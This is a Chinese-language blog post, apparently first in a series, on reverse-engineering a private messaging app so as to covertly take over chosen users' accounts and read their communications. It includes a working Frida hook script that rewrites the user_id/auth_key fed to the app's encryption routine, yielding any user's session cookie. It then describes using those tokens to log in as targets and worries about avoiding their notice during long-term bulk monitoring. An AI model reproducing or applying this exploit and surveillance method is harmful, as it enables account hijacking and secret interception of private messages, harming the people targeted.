通联APP逆向分析及工作思路(一)
[TOC]
一、概述
在对通联类APP开展工作的时候,首先需要明确几个要点,此次工作的主要对象(群体)是谁、该对象(群体)与该通联APP的关系是什么,这关系到整个工作的方向以及工作的效率。通联类APP与一般的涉及XXX的APP不同,此类APP不会直接涉及到XXX的行业之中,在大部分情况下,仅仅是为该行业提供了一个相对独立、私密的通联渠道,那么面对这类APP,我们的目标不应该执着于利用漏洞获取该APP的后台服务器权限(有权限更好),而是应该对使用该APP的特定用户(群体)做更多的关注。这样既节省了时间,又能更快速的获取的我们想要的东西。基于此,我们便有了几个工作思路:1、APP用户的多终端登陆;2、APP用户的终端权限等。
二、准备工作
在对APP进行分析之前,首先需要做一些基本的准备工作,你需要:
1、一台安卓手机(或一个安卓模拟器)
在大部分情况下,安卓模拟器是可以满足大部分需要的,但如果当你需要对APP进行native层或者更加底层的调试,或者要测试EXP的时候,一部测试用的安卓手机会是更好的选择(推荐google的pixel或者nexus),如果使用的是MacBook M1芯片的电脑,用安卓手机则是唯一的选择。
2、Frida
Frida是一款不错的Hook框架,可以hook APP的java层和native层,这是非常不错的。(关于Frida的基本使用,以后再讲)
3、gdbserver
当你开始对APP或者android底层进行调试、漏洞利用的时候,gdbserver是必要的
4、IDA pro和JADX
前者用来逆向分析native层后着分析java层
三、信息搜集
对APP的信息搜集涵盖了WEB方向的信息搜集、流量层(TLS加密流量的解密、websocket通信的劫持)的信息搜集以及APP本身的信息搜集。详细的操作以后的专门写一篇文章讲。
通过一系列的信息搜集,我们掌握了该APP的一些基本的信息。
如:
1、基本的互联网资产
2、旧版开源代码
3、主服务器的一些基本信息
等一系列信息,这些都是前期信息搜集所需要寻找到的,但最终是否对工作产生作用,在信息搜集完成前,都不能妄下定论。
四、逆向分析与动态调试
在对通联APP的工作开展过程中,比较核心的就是对其的逆向分析了,类似前期的信息搜集获取的服务器信息等,最终都是通过WEB的手段进行侧面的权限获取,随着产品技术的不断升级,通联APP的web服务器很可能不会有什么向外暴露的端口,因此大量的API接口都是需要通过对APP的逆向分析找出。
在前期的APP抓包的信息搜集过程中,我们找到了该APP在通联过程中,进行交互的一个Cookie的头,名为“Bearer”
继续跟踪代码流程,我们找到了其加密算法
通过分析代码,我们惊讶的发现,该cookie
的生成似乎是将user_id
进行了一些加密操作,然后将其发给了interface.xxx.com:port
,进行兑换Bearar
,也就是说Cookie
仅仅跟user_id
有关,这是非常令人奇怪的事情。
编写frida脚本进行hook,并尝试进行修改user_id
。
// 修改返回值
function ChangeRetval(targetClassMethod) {
var delim = targetClassMethod.lastIndexOf(".");
if (delim === -1) return;
var targetClass = targetClassMethod.slice(0, delim)
var targetMethod = targetClassMethod.slice(delim + 1, targetClassMethod.length)
var hook = Java.use(targetClass);
var overloadCount = hook[targetMethod].overloads.length;
console.log("Tracing " + targetClassMethod + " [" + overloadCount + " overload(s)]");
for (var i = 0; i < overloadCount; i++) {
hook[targetMethod].overloads[i].implementation = function () {
console.warn("\n*** entered " + targetClassMethod);
if (arguments.length) console.log();
for (var j = 0; j < arguments.length; j++) {
console.log("arg[" + j + "]: " + arguments[j]);
}
var retval = this[targetMethod].apply(this, arguments);
var tmp=arguments[0].split("&");
var timestamp=tmp[2].split("=");
var time=timestamp[1];
arguments[0]="auth_key=1400372&auth_type=ID×tamp="+time+"&key="
var ret=this[targetMethod].apply(this,arguments);
console.log("\nargu: "+arguments[0]);
console.log("\nretval: " + retval);
console.log("\nret after change "+ret);
console.warn("\n*** exiting " + targetClassMethod);
return ret;
}
}
}
setTimeout(function () {
Java.perform(function () {
console.log("first entering selector");
// trace("java.net.HttpURLConnection");
// trace("java.net.HttpURLConnection.getResponseCode");
// trace("java.net.HttpURLConnection.getResponseMessage");
//trace(".Utils.EnctryUtils.EnctyUtils.getSign");
ChangeRetval(".Utils.EnctryUtils.EnctyUtils.encryptByPublicKey");
//trace(".Utils.EnctryUtils.EnctyUtils.getSignData");
//ChangeRetval(".Utils.EnctryUtils.EnctyUtils.getSignData");
});
}, 0);
// frida -R -n xxxxx -l demo.js -o log.log
结合Burpsuite,就可以截取到任意用户的cookie
了,从而实现了越权。
五、漏洞利用及反思
通过对APP的Hook及关键函数的修改,我们可以操作HTTP头中system
信息的user_id
的值,从而兑换到每个用户的Cookie
令牌。
利用该漏洞,我们可以实现开头讲的多终端用户登陆,从而获取指定用户(群体)的通联信息。
但是,由于APP本身的限制,我们必须通过利用Cookie
修改密码的方式实现登陆(这便会引起目标用户、群体的警觉),此外该操作还是需要在APP中,通过hook app自身的接口进行操作,这边对批量化长期监测带来了阻碍。
那么该如何解决上述问题呢,请看下一篇文章。